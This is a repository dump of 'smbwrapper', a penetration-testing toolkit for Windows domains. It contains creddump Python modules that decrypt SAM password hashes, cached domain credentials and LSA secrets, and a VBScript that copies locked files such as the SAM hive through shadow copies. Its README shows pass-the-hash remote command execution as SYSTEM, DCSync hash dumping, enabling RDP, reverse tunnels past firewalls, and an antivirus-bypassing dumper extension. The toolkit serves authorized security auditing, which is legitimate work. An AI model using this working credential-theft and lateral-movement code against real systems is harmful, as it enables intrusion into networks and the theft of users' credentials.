├── tools ├── creddump │ └── framework │ │ ├── __init__.py │ │ ├── win32 │ │ ├── __init__.py │ │ ├── rawreg.py │ │ ├── domcachedump.py │ │ ├── lsasecrets.py │ │ └── hashdump.py │ │ ├── types.py │ │ ├── addrspace.py │ │ ├── object.py │ │ └── newobj.py ├── socat ├── smbclient ├── xfreerdp ├── win │ ├── tar.exe │ ├── nircmd.exe │ ├── socat.tar │ ├── logparser.exe │ ├── runastask.exe │ ├── mbsa │ │ ├── wusscan.dll │ │ ├── x64 │ │ │ ├── mbsacli.exe │ │ │ └── wusscan.dll │ │ ├── x86 │ │ │ ├── mbsacli.exe │ │ │ └── wusscan.dll │ │ └── mbsa.bat │ └── vsscpy.vbs └── winexe-1.1-x64-static ├── .gitignore ├── README.md ├── LICENSE ├── smb.py └── secretsdump.py /tools/creddump/framework/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.hive 2 | *.out 3 | *.pyc 4 | -------------------------------------------------------------------------------- /tools/creddump/framework/win32/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /tools/socat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jrmdev/smbwrapper/HEAD/tools/socat -------------------------------------------------------------------------------- /tools/smbclient: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jrmdev/smbwrapper/HEAD/tools/smbclient -------------------------------------------------------------------------------- /tools/xfreerdp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jrmdev/smbwrapper/HEAD/tools/xfreerdp -------------------------------------------------------------------------------- /tools/win/tar.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jrmdev/smbwrapper/HEAD/tools/win/tar.exe -------------------------------------------------------------------------------- /tools/win/nircmd.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jrmdev/smbwrapper/HEAD/tools/win/nircmd.exe -------------------------------------------------------------------------------- /tools/win/socat.tar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jrmdev/smbwrapper/HEAD/tools/win/socat.tar -------------------------------------------------------------------------------- /tools/win/logparser.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jrmdev/smbwrapper/HEAD/tools/win/logparser.exe -------------------------------------------------------------------------------- /tools/win/runastask.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jrmdev/smbwrapper/HEAD/tools/win/runastask.exe -------------------------------------------------------------------------------- /tools/win/mbsa/wusscan.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jrmdev/smbwrapper/HEAD/tools/win/mbsa/wusscan.dll -------------------------------------------------------------------------------- /tools/winexe-1.1-x64-static: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jrmdev/smbwrapper/HEAD/tools/winexe-1.1-x64-static -------------------------------------------------------------------------------- /tools/win/mbsa/x64/mbsacli.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jrmdev/smbwrapper/HEAD/tools/win/mbsa/x64/mbsacli.exe -------------------------------------------------------------------------------- /tools/win/mbsa/x64/wusscan.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jrmdev/smbwrapper/HEAD/tools/win/mbsa/x64/wusscan.dll -------------------------------------------------------------------------------- /tools/win/mbsa/x86/mbsacli.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jrmdev/smbwrapper/HEAD/tools/win/mbsa/x86/mbsacli.exe -------------------------------------------------------------------------------- /tools/win/mbsa/x86/wusscan.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jrmdev/smbwrapper/HEAD/tools/win/mbsa/x86/wusscan.dll -------------------------------------------------------------------------------- /tools/win/mbsa/mbsa.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | cd \windows\temp\mbsa 3 | mbsacli.exe /xmlout /catalog wsusscn2.cab /nvc > results.xml 4 | del mbsacli.exe wsusscn2.cab wusscan.dll mbsa.bat 5 | 6 | -------------------------------------------------------------------------------- /tools/win/vsscpy.vbs: -------------------------------------------------------------------------------- 1 | Set objWMIService = GetObject("winmgmts:\\.\root\cimv2") 2 | Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'") 3 | 4 | For Each objService in colListOfServices 5 | If objService.State = "Stopped" Then 6 | objService.StartService() 7 | InitState = True 8 | End If 9 | Next 10 | 11 | Set objShadowStorage = objWMIService.Get("Win32_ShadowCopy") 12 | errResult = objShadowStorage.Create("C:\", "ClientAccessible", strShadowID) 13 | 14 | Set colItems = objWMIService.ExecQuery("Select * from Win32_ShadowCopy") 15 | For Each objItem in colItems 16 | If objItem.ID = strShadowID Then 17 | Set objShell = WScript.CreateObject("WScript.Shell") 18 | objResult = objShell.Run("cmd /C copy /Y "& objItem.DeviceObject & WScript.Arguments.Item(0) & " C:\WINDOWS\Temp\temp.tmp", 0, True) 19 | errResult = objItem.Delete_ 20 | End If 21 | Next 22 | 23 | If InitState = True Then 24 | Set colListOfServices = objWMIService.ExecQuery("Select * from Win32_Service Where Name ='VSS'") 25 | For Each objService in colListOfServices 26 | objService.StopService() 27 | Next 28 | End If 29 | 30 | wscript.Quit(0) 31 | -------------------------------------------------------------------------------- /tools/creddump/framework/win32/rawreg.py: -------------------------------------------------------------------------------- 1 | # This file is part of creddump. 2 | # 3 | # creddump is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | # 8 | # creddump is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with creddump. If not, see . 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from framework.newobj import Obj,Pointer 23 | from struct import unpack 24 | 25 | ROOT_INDEX = 0x20 26 | LH_SIG = unpack(". 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | regtypes = { 23 | '_CM_KEY_VALUE' : [ 0x18, { 24 | 'Signature' : [ 0x0, ['unsigned short']], 25 | 'NameLength' : [ 0x2, ['unsigned short']], 26 | 'DataLength' : [ 0x4, ['unsigned long']], 27 | 'Data' : [ 0x8, ['unsigned long']], 28 | 'Type' : [ 0xc, ['unsigned long']], 29 | 'Flags' : [ 0x10, ['unsigned short']], 30 | 'Spare' : [ 0x12, ['unsigned short']], 31 | 'Name' : [ 0x14, ['array', 1, ['unsigned short']]], 32 | } ], 33 | '_CM_KEY_NODE' : [ 0x50, { 34 | 'Signature' : [ 0x0, ['unsigned short']], 35 | 'Flags' : [ 0x2, ['unsigned short']], 36 | 'LastWriteTime' : [ 0x4, ['_LARGE_INTEGER']], 37 | 'Spare' : [ 0xc, ['unsigned long']], 38 | 'Parent' : [ 0x10, ['unsigned long']], 39 | 'SubKeyCounts' : [ 0x14, ['array', 2, ['unsigned long']]], 40 | 'SubKeyLists' : [ 0x1c, ['array', 2, ['unsigned long']]], 41 | 'ValueList' : [ 0x24, ['_CHILD_LIST']], 42 | 'ChildHiveReference' : [ 0x1c, ['_CM_KEY_REFERENCE']], 43 | 'Security' : [ 0x2c, ['unsigned long']], 44 | 'Class' : [ 0x30, ['unsigned long']], 45 | 'MaxNameLen' : [ 0x34, ['unsigned long']], 46 | 'MaxClassLen' : [ 0x38, ['unsigned long']], 47 | 'MaxValueNameLen' : [ 0x3c, ['unsigned long']], 48 | 'MaxValueDataLen' : [ 0x40, ['unsigned long']], 49 | 'WorkVar' : [ 0x44, ['unsigned long']], 50 | 'NameLength' : [ 0x48, ['unsigned short']], 51 | 'ClassLength' : [ 0x4a, ['unsigned short']], 52 | 'Name' : [ 0x4c, ['array', 1, ['unsigned short']]], 53 | } ], 54 | '_CM_KEY_INDEX' : [ 0x8, { 55 | 'Signature' : [ 0x0, ['unsigned short']], 56 | 'Count' : [ 0x2, ['unsigned short']], 57 | 'List' : [ 0x4, ['array', 1, ['unsigned long']]], 58 | } ], 59 | '_CHILD_LIST' : [ 0x8, { 60 | 'Count' : [ 0x0, ['unsigned long']], 61 | 'List' : [ 0x4, ['unsigned long']], 62 | } ], 63 | } 64 | -------------------------------------------------------------------------------- /tools/creddump/framework/win32/domcachedump.py: -------------------------------------------------------------------------------- 1 | # This file is part of creddump. 2 | # 3 | # creddump is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | # 8 | # creddump is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with creddump. If not, see . 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from framework.win32.rawreg import * 23 | from framework.addrspace import HiveFileAddressSpace 24 | from framework.win32.hashdump import get_bootkey 25 | from framework.win32.lsasecrets import get_secret_by_name,get_lsa_key 26 | from Crypto.Hash import HMAC 27 | from Crypto.Cipher import ARC4 28 | from struct import unpack 29 | 30 | def get_nlkm(secaddr, lsakey): 31 | return get_secret_by_name(secaddr, 'NL$KM', lsakey) 32 | 33 | def decrypt_hash(edata, nlkm, ch): 34 | hmac_md5 = HMAC.new(nlkm,ch) 35 | rc4key = hmac_md5.digest() 36 | 37 | rc4 = ARC4.new(rc4key) 38 | data = rc4.encrypt(edata) 39 | return data 40 | 41 | def parse_cache_entry(cache_data): 42 | (uname_len, domain_len) = unpack(". 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from framework.win32.rawreg import * 23 | from framework.addrspace import HiveFileAddressSpace 24 | from framework.win32.hashdump import get_bootkey,str_to_key 25 | from Crypto.Hash import MD5 26 | from Crypto.Cipher import ARC4,DES 27 | 28 | def get_lsa_key(secaddr, bootkey): 29 | root = get_root(secaddr) 30 | if not root: 31 | return None 32 | 33 | enc_reg_key = open_key(root, ["Policy", "PolSecretEncryptionKey"]) 34 | if not enc_reg_key: 35 | return None 36 | 37 | enc_reg_value = enc_reg_key.ValueList.List[0] 38 | if not enc_reg_value: 39 | return None 40 | 41 | obf_lsa_key = secaddr.read(enc_reg_value.Data.value, 42 | enc_reg_value.DataLength.value) 43 | if not obf_lsa_key: 44 | return None 45 | 46 | md5 = MD5.new() 47 | md5.update(bootkey) 48 | for i in range(1000): 49 | md5.update(obf_lsa_key[60:76]) 50 | rc4key = md5.digest() 51 | 52 | rc4 = ARC4.new(rc4key) 53 | lsa_key = rc4.decrypt(obf_lsa_key[12:60]) 54 | 55 | return lsa_key[0x10:0x20] 56 | 57 | def decrypt_secret(secret, key): 58 | """Python implementation of SystemFunction005. 59 | 60 | Decrypts a block of data with DES using given key. 61 | Note that key can be longer than 7 bytes.""" 62 | decrypted_data = '' 63 | j = 0 # key index 64 | for i in range(0,len(secret),8): 65 | enc_block = secret[i:i+8] 66 | block_key = key[j:j+7] 67 | des_key = str_to_key(block_key) 68 | 69 | des = DES.new(des_key, DES.MODE_ECB) 70 | decrypted_data += des.decrypt(enc_block) 71 | 72 | j += 7 73 | if len(key[j:j+7]) < 7: 74 | j = len(key[j:j+7]) 75 | 76 | (dec_data_len,) = unpack(" 0: 124 | paddr = self.vtop(new_vaddr) 125 | if paddr == None and zero: 126 | stuff_read = stuff_read + "\0" * left_over 127 | elif paddr == None: 128 | return None 129 | else: 130 | stuff_read = stuff_read + self.base.read(paddr, left_over) 131 | return stuff_read 132 | 133 | def read_long_phys(self, addr): 134 | string = self.base.read(addr, 4) 135 | (longval, ) = struct.unpack('L', string) 136 | return longval 137 | 138 | def is_valid_address(self, vaddr): 139 | paddr = self.vtop(vaddr) 140 | if not paddr: return False 141 | return self.base.is_valid_address(paddr) 142 | -------------------------------------------------------------------------------- /tools/creddump/framework/object.py: -------------------------------------------------------------------------------- 1 | # Volatools Basic 2 | # Copyright (C) 2007 Komoku, Inc. 3 | # 4 | # This program is free software; you can redistribute it and/or modify 5 | # it under the terms of the GNU General Public License as published by 6 | # the Free Software Foundation; either version 2 of the License, or (at 7 | # your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, but 10 | # WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 12 | # General Public License for more details. 13 | # 14 | # You should have received a copy of the GNU General Public License 15 | # along with this program; if not, write to the Free Software 16 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 17 | # 18 | 19 | """ 20 | @author: AAron Walters and Nick Petroni 21 | @license: GNU General Public License 2.0 or later 22 | @contact: awalters@komoku.com, npetroni@komoku.com 23 | @organization: Komoku, Inc. 24 | """ 25 | 26 | import struct 27 | 28 | builtin_types = { \ 29 | 'int' : (4, 'i'), \ 30 | 'long': (4, 'i'), \ 31 | 'unsigned long' : (4, 'I'), \ 32 | 'unsigned int' : (4, 'I'), \ 33 | 'address' : (4, 'I'), \ 34 | 'char' : (1, 'c'), \ 35 | 'unsigned char' : (1, 'B'), \ 36 | 'unsigned short' : (2, 'H'), \ 37 | 'short' : (2, 'h'), \ 38 | 'long long' : (8, 'q'), \ 39 | 'unsigned long long' : (8, 'Q'), \ 40 | 'pointer' : (4, 'I'),\ 41 | } 42 | 43 | 44 | def obj_size(types, objname): 45 | if not types.has_key(objname): 46 | raise Exception('Invalid type %s not in types' % (objname)) 47 | 48 | return types[objname][0] 49 | 50 | def builtin_size(builtin): 51 | if not builtin_types.has_key(builtin): 52 | raise Exception('Invalid built-in type %s' % (builtin)) 53 | 54 | return builtin_types[builtin][0] 55 | 56 | def read_value(addr_space, value_type, vaddr): 57 | """ 58 | Read the low-level value for a built-in type. 59 | """ 60 | 61 | if not builtin_types.has_key(value_type): 62 | raise Exception('Invalid built-in type %s' % (value_type)) 63 | 64 | type_unpack_char = builtin_types[value_type][1] 65 | type_size = builtin_types[value_type][0] 66 | 67 | buf = addr_space.read(vaddr, type_size) 68 | if buf is None: 69 | return None 70 | (val, ) = struct.unpack(type_unpack_char, buf) 71 | 72 | return val 73 | 74 | def read_unicode_string(addr_space, types, member_list, vaddr): 75 | offset = 0 76 | if len(member_list) > 1: 77 | (offset, current_type) = get_obj_offset(types, member_list) 78 | 79 | 80 | buf = read_obj(addr_space, types, ['_UNICODE_STRING', 'Buffer'], vaddr + offset) 81 | length = read_obj(addr_space, types, ['_UNICODE_STRING', 'Length'], vaddr + offset) 82 | 83 | if length == 0x0: 84 | return "" 85 | 86 | if buf is None or length is None: 87 | return None 88 | 89 | readBuf = read_string(addr_space, types, ['char'], buf, length) 90 | 91 | if readBuf is None: 92 | return None 93 | 94 | try: 95 | readBuf = readBuf.decode('UTF-16').encode('ascii') 96 | except: 97 | return None 98 | 99 | return readBuf 100 | 101 | def read_string(addr_space, types, member_list, vaddr, max_length=256): 102 | offset = 0 103 | if len(member_list) > 1: 104 | (offset, current_type) = get_obj_offset(types, member_list) 105 | 106 | val = addr_space.read(vaddr + offset, max_length) 107 | 108 | return val 109 | 110 | 111 | def read_null_string(addr_space, types, member_list, vaddr, max_length=256): 112 | string = read_string(addr_space, types, member_list, vaddr, max_length) 113 | 114 | if string is None: 115 | return None 116 | 117 | if (string.find('\0') == -1): 118 | return string 119 | (string, none) = string.split('\0', 1) 120 | return string 121 | 122 | 123 | def get_obj_offset(types, member_list): 124 | """ 125 | Returns the (offset, type) pair for a given list 126 | """ 127 | member_list.reverse() 128 | 129 | current_type = member_list.pop() 130 | 131 | offset = 0 132 | 133 | while (len(member_list) > 0): 134 | if current_type == 'array': 135 | current_type = member_dict[current_member][1][2][0] 136 | if current_type in builtin_types: 137 | current_type_size = builtin_size(current_type) 138 | else: 139 | current_type_size = obj_size(types, current_type) 140 | index = member_list.pop() 141 | offset += index * current_type_size 142 | continue 143 | 144 | elif not types.has_key(current_type): 145 | raise Exception('Invalid type ' + current_type) 146 | 147 | member_dict = types[current_type][1] 148 | 149 | current_member = member_list.pop() 150 | if not member_dict.has_key(current_member): 151 | raise Exception('Invalid member %s in type %s' % (current_member, current_type)) 152 | 153 | offset += member_dict[current_member][0] 154 | 155 | current_type = member_dict[current_member][1][0] 156 | 157 | return (offset, current_type) 158 | 159 | 160 | def read_obj(addr_space, types, member_list, vaddr): 161 | """ 162 | Read the low-level value for some complex type's member. 163 | The type must have members. 164 | """ 165 | if len(member_list) < 2: 166 | raise Exception('Invalid type/member ' + str(member_list)) 167 | 168 | 169 | 170 | (offset, current_type) = get_obj_offset(types, member_list) 171 | return read_value(addr_space, current_type, vaddr + offset) 172 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## SMB Wrapper ## 2 | 3 | **smbwrapper** is a python script which provides wrappers around `smbclient` and `winexe` with added functionality and Pass-the-Hash support. 4 | 5 | It is intended for penetration testers and security auditors who are targeting Windows/Active Directory environments. 6 | 7 | It relies on various external tools such as slighly modified versions of `smbclient-pth`, `winexe-pth`, `xfreerdp` and `socat`. At the moment, they will **only run in Linux x64**. It should run fine in Kali 64 bits. 8 | 9 | It also includes various windows executables that are meant to be run on targeted Windows systems, such as [socat for windows](https://github.com/jboecker/dcs-arduino-example/tree/master/socat), [MBSA](https://technet.microsoft.com/en-us/security/cc184924.aspx), [nircmd](http://nirsoft.net/utils/nircmd.html) or *runastask* (see below) 10 | 11 | ### TL;DR ## 12 | 13 | Below are a few examples of basic usage. 14 | 15 | Add current credentials (use password or NT hash): 16 | 17 | $ ./smb.py creds add MYDOMAIN\\Administrator 209C6174DA490CAEB422F3FA5A7AE634 "My Demo User" 18 | [*] Credentials added and marked as active. 19 | 20 | Execute commands (use -s for LocalSystem elevation): 21 | 22 | $ ./smb.py exec 10.1.2.3 whoami 23 | mydomain\administrator 24 | 25 | $ ./smb.py exec -s 10.10.10.12 whoami 26 | nt authority\system 27 | 28 | $ ./smb.py exec 10.10.10.12 cmd 29 | Microsoft Windows [Version 6.1.7601] 30 | Copyright (c) 2009 Microsoft Corporation. All rights reserved. 31 | 32 | C:\Windows\system32> 33 | 34 | Download a file locked by the system: 35 | 36 | $ ./smb.py vsscpy 10.10.10.12 c:\\windows\\system32\\config\\SAM /tmp/sam 37 | [*] Uploading script... 38 | [*] Running script... 39 | [*] Downloading file to '/tmp/sam'... 40 | [*] Removing temp files... 41 | [*] Done. 42 | 43 | $ file /tmp/sam 44 | /tmp/sam: MS Windows registry file, NT/2000 or above 45 | 46 | Enable RDP: 47 | 48 | $ ./smb.py rdp 10.10.10.12 enable 49 | [*] Updating Registry... 50 | [*] Adding firewall rule... 51 | [*] Success. 52 | 53 | Open a RDP session to a host behind a firewall: 54 | 55 | Terminal 1 - Create a reverse port forwarding tunnel 56 | 57 | $ ./smb.py revfwd 10.10.10.12 3389 10.10.10.13 3389 58 | [*] Uploading files... 59 | [*] Setting up local listener... 60 | [*] Adding firewall rule... 61 | [*] Success. 62 | [*] Creating reverse tunnel... 63 | [i] 10.10.10.13:3389 <--> 10.10.10.12:56789 <--> 192.168.0.1:3389 64 | [i] Now point your client to 192.168.0.1:3389 65 | 66 | Terminal 2 - Connect to the local port 67 | 68 | $ ./smb.py rdp 192.168.0.1 RemoteUsername RemotePassword 69 | 70 | ### Help ### 71 | 72 | $ ./smb.py help 73 | smb.py v1.0.1alpha by jrm` - Run stuff remotely - Pass the Hash 74 | 75 | smb.py -h This help 76 | smb.py -f Specify an alternative credential vault 77 | 78 | The following commands are currently implemented: 79 | 80 | smb.py creds [ list | set | del | use ] 81 | Manage SMB credentials 82 | 83 | smb.py exec [-s] [ user ] [ passwd/nthash ] 84 | Execute a command remotely (use "cmd" for a command prompt) 85 | 86 | smb.py upexec [-s] [ user ] [ passwd/nthash ] 87 | Upload a file and run it remotely with the specified arguments 88 | 89 | smb.py upload [-s] [ user ] [ passwd/nthash ] 90 | Upload a file to the host 91 | 92 | smb.py download [-s] [ user ] [ passwd/nthash ] 93 | Download a file from the host 94 | 95 | smb.py dcsync [-s] [ user ] [ passwd/nthash ] [ -history ] 96 | Dump domain users hashes using DRSUAPI method (AD Replication) 97 | 98 | smb.py creddump [-s] [ user ] [ passwd/nthash ] 99 | Extract SAM, SECURITY, SYSTEM hives and dump SAM, DCC, LSA Secrets 100 | 101 | smb.py lastlog [-s] [ user ] [ passwd/nthash ] 102 | Retrieves last known IPs for given user from the DC's Event Logs. Provide DC IP. 103 | 104 | smb.py scrshot [-s] [ user ] [ passwd/nthash ] 105 | Takes a screenshot of the active session 106 | 107 | smb.py vsscpy [-s] [ user ] [ passwd/nthash ] 108 | Use shadow copies to download a locked file from the host 109 | 110 | smb.py fwrule [-s] [ user ] [ password ] 111 | Create or remove a rule in the Windows firewall 112 | 113 | smb.py mount [ user ] [ password ] 114 | Mount a remote share locally via CIFS (Pass-the-Hash not available) 115 | 116 | smb.py rdp [ user ] [ passwd/nthash ] [ enable | disable ] 117 | Open a Remote Desktop session using xfreerdp (Pass-the-Hash = restricted admin) 118 | 119 | smb.py portfwd [-s] [ user ] [ passwd/nthash ] 120 | Forward a remote port to a remote address 121 | 122 | smb.py revfwd [-s] [ user ] [ passwd/nthash ] 123 | Reverse-forward a remote address/port locally 124 | 125 | smb.py mbsa [-s] [ user ] [ passwd/nthash ] [ update ] 126 | Run MBSA on the remote host 127 | 128 | smb.py hash 129 | Generate a NTLM hash from a plaintext 130 | 131 | If the command supports it, use the '-s' option to attempt remote LocalSystem elevation. 132 | 133 | Instead of using username+password or username+hash on the commandline, 134 | you can use the smb.py creds command to populate the credential vault. 135 | 136 | Usernames must be specified using the DOMAIN\LOGIN syntax. 137 | 138 | See usage examples at: https://github.com/jrmdev/smbwrapper/blob/master/README.md 139 | 140 | ### Credential management ### 141 | 142 | For each command, you can specify the credentials to use on the command line. However, if you choose not to, you can maintain a credential vault. 143 | 144 | The `smb.py creds` command allows to view and edit a credential vault in an sqlite database. It is mostly useful when working in an Active Directory environment so that you can retain the domain administrator's credentials across multiple runs without the hassle to specify them on the command line. It also makes to tool more easier and effective to work with. 145 | 146 | **Disclaimer:** The credentials are stored in clear-text in the sqlite db. Feel free to use NTLM hashes instead of passwords, or not to use this feature at all. 147 | 148 | ### Writing a quick extension ### 149 | 150 | The way **smbwrapper** is designed enables it to be extensible very easily. Just create your own function at the end of the script with a name starting by "smb_". 151 | 152 | For example, if you want it to support your *super-cool custom-made antivirus-bypassing* hash dumper program, you would add such a function: 153 | 154 | def smb_hashdump(): 155 | """ 156 | [-s] <ip> [ user ] [ password | ntlm_hash ] 157 | Dumps remote password hashes using my prog. 158 | """ 159 | 160 | set_creds(4) 161 | check_creds() 162 | print up_and_exec(['/path/to/my/prog.exe', '--dump']) 163 | 164 | And then run `smb.py hashdump 1.2.3.4`. That's all you need to do. 165 | 166 | `set_creds()` parameter is the minimum length that `sys.argv` can have for the credentials to be read from the vault. If `sys.argv` length is bigger, credentials will be read from the command-line. 167 | 168 | `check_creds()` is optional but will prevent running further commands if the credentials don't work. 169 | 170 | *Note:* You could also simply run `smb.py upexec 1.2.3.4 /path/to/my/prog.exe --dump` but creating your own function enables you to add extra functionality easily and can be useful to parse and reuse the output. 171 | 172 | ### Tools included ### 173 | 174 | `runastask` was developed specifiaclly for `smbwrapper`. It allows to run a GUI program from a non-console session by creating a one-time scheduled task. 175 | 176 | It is useful for commands that need access to the user's desktop, such as `smb.py scrshot`. It takes the username to run the task with as an argument. If no matching user desktop is found, it does nothing. 177 | 178 | `mbsacli` is the command-line version of the Microsoft Baseline Security Analyzer and is useful for reporting missing patches. 179 | 180 | `nircmd` is a tool from NirSoft that allows to perform multiple tasks on windows hosts. For the moment it is basically used to take screenshots along with `runastask`. 181 | 182 | `vsscpy.vbs` is a Visual Basic script used to copy locked files by making use of shadow volumes. 183 | 184 | `socat.tar` is the tarball'ed version of socat compiled for Windows. It include some Cygwin DLL libraries. 185 | 186 | `tar.exe` is... Guess what. 187 | -------------------------------------------------------------------------------- /tools/creddump/framework/win32/hashdump.py: -------------------------------------------------------------------------------- 1 | # This file is part of creddump. 2 | # 3 | # creddump is free software: you can redistribute it and/or modify 4 | # it under the terms of the GNU General Public License as published by 5 | # the Free Software Foundation, either version 3 of the License, or 6 | # (at your option) any later version. 7 | # 8 | # creddump is distributed in the hope that it will be useful, 9 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 10 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 11 | # GNU General Public License for more details. 12 | # 13 | # You should have received a copy of the GNU General Public License 14 | # along with creddump. If not, see <http://www.gnu.org/licenses/>. 15 | 16 | """ 17 | @author: Brendan Dolan-Gavitt 18 | @license: GNU General Public License 2.0 or later 19 | @contact: bdolangavitt@wesleyan.edu 20 | """ 21 | 22 | from framework.win32.rawreg import * 23 | from framework.addrspace import HiveFileAddressSpace 24 | from Crypto.Hash import MD5 25 | from Crypto.Cipher import ARC4,DES 26 | from struct import unpack,pack 27 | 28 | odd_parity = [ 29 | 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14, 30 | 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31, 31 | 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47, 32 | 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62, 33 | 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79, 34 | 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94, 35 | 97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110, 36 | 112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127, 37 | 128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143, 38 | 145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158, 39 | 161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174, 40 | 176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191, 41 | 193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206, 42 | 208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223, 43 | 224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239, 44 | 241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254 45 | ] 46 | 47 | # Permutation matrix for boot key 48 | p = [ 0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3, 49 | 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7 ] 50 | 51 | # Constants for SAM decrypt algorithm 52 | aqwerty = "!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" 53 | anum = "0123456789012345678901234567890123456789\0" 54 | antpassword = "NTPASSWORD\0" 55 | almpassword = "LMPASSWORD\0" 56 | 57 | empty_lm = "aad3b435b51404eeaad3b435b51404ee".decode('hex') 58 | empty_nt = "31d6cfe0d16ae931b73c59d7e0c089c0".decode('hex') 59 | 60 | def str_to_key(s): 61 | key = [] 62 | key.append( ord(s[0])>>1 ) 63 | key.append( ((ord(s[0])&0x01)<<6) | (ord(s[1])>>2) ) 64 | key.append( ((ord(s[1])&0x03)<<5) | (ord(s[2])>>3) ) 65 | key.append( ((ord(s[2])&0x07)<<4) | (ord(s[3])>>4) ) 66 | key.append( ((ord(s[3])&0x0F)<<3) | (ord(s[4])>>5) ) 67 | key.append( ((ord(s[4])&0x1F)<<2) | (ord(s[5])>>6) ) 68 | key.append( ((ord(s[5])&0x3F)<<1) | (ord(s[6])>>7) ) 69 | key.append( ord(s[6])&0x7F ) 70 | for i in range(8): 71 | key[i] = (key[i]<<1) 72 | key[i] = odd_parity[key[i]] 73 | return "".join(chr(k) for k in key) 74 | 75 | def sid_to_key(sid): 76 | s1 = "" 77 | s1 += chr(sid & 0xFF) 78 | s1 += chr((sid>>8) & 0xFF) 79 | s1 += chr((sid>>16) & 0xFF) 80 | s1 += chr((sid>>24) & 0xFF) 81 | s1 += s1[0]; 82 | s1 += s1[1]; 83 | s1 += s1[2]; 84 | s2 = s1[3] + s1[0] + s1[1] + s1[2] 85 | s2 += s2[0] + s2[1] + s2[2] 86 | 87 | return str_to_key(s1),str_to_key(s2) 88 | 89 | def find_control_set(sysaddr): 90 | root = get_root(sysaddr) 91 | if not root: 92 | return 1 93 | 94 | csselect = open_key(root, ["Select"]) 95 | if not csselect: 96 | return 1 97 | 98 | for v in values(csselect): 99 | if v.Name == "Current": return v.Data.value 100 | 101 | def get_bootkey(sysaddr): 102 | cs = find_control_set(sysaddr) 103 | lsa_base = ["ControlSet%03d" % cs, "Control", "Lsa"] 104 | lsa_keys = ["JD","Skew1","GBG","Data"] 105 | 106 | root = get_root(sysaddr) 107 | if not root: return None 108 | 109 | lsa = open_key(root, lsa_base) 110 | if not lsa: return None 111 | 112 | bootkey = "" 113 | 114 | for lk in lsa_keys: 115 | key = open_key(lsa, [lk]) 116 | class_data = sysaddr.read(key.Class.value, key.ClassLength.value) 117 | bootkey += class_data.decode('utf-16-le').decode('hex') 118 | 119 | bootkey_scrambled = "" 120 | for i in 